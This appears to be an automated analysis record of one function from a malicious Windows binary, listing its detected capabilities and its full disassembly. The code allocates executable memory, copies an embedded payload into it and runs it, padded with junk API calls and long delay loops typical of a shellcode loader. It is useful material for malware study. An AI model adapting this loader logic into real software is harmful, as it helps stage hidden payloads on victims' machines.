Function at 0x403e38
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040ef10
cmp dword [0x45be88], 0x5b1
push ebx
push esi
push edi
jne 0x403ef0
xor ebx, ebx
push ebx
lea eax, [ebp - 0x850]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetScrollInfo]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoExA]
push ebx
push 0x403710
push 0x40372c
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
call fcn.00404be1
pop ecx
push ebx
call fcn.00404354
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403ae1
fstp st(0)
lea esi, [ebp - 0x14]
call fcn.00403aa0
mov ecx, esi
call fcn.00403ab7
push ebx
call fcn.004047e2
pop ecx
call fcn.00404223
push ebx
call fcn.00404f7a
add dword [0x45be88], 0x1134b
push 0x403750
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x403760
push eax
mov dword [0x45addc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x45be88]
xor ebx, ebx
push ebx
mov dword [0x45add4], eax
call eax
xor esi, esi
mov dword [0x45add8], eax
cmp dword [0x45be88], ebx
jbe 0x403f71
cmp dword [0x45be88], 0xa8
mov eax, dword [0x45be8c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x45add8]
mov byte [ecx + esi], al
jne 0x403f68
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
inc esi
cmp esi, dword [0x45be88]
jb 0x403f3c
xor esi, esi
mov eax, dword [0x45be88]
add eax, esi
cmp eax, 0xe
jne 0x40402c
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
lea eax, [ebp - 0x1450]
push eax
push 0x403770
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
xor eax, eax
mov dword [ebp - 8], ebx
lea edi, [ebp - 4]
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x450]
push eax
push 0x403808
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x403858
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x39621
jl 0x403f73
xor esi, esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp esi, 0x206d47
jg 0x404061
inc esi
cmp esi, 0x4f6a4
jl 0x40403b
mov esi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec esi
jne 0x404066
call fcn.00403d9f
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x26
jne 0x404096
call fcn.00403e1e
inc esi
cmp esi, 0x6753f
jl 0x404085
push 0x7b
pop esi
cmp dword [0x45be88], 0x86
jne 0x4040e8
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push ebx
lea eax, [ebp - 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x403878
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x4040a2
call fcn.00403b5a
pop edi
pop esi
pop ebx
leave
ret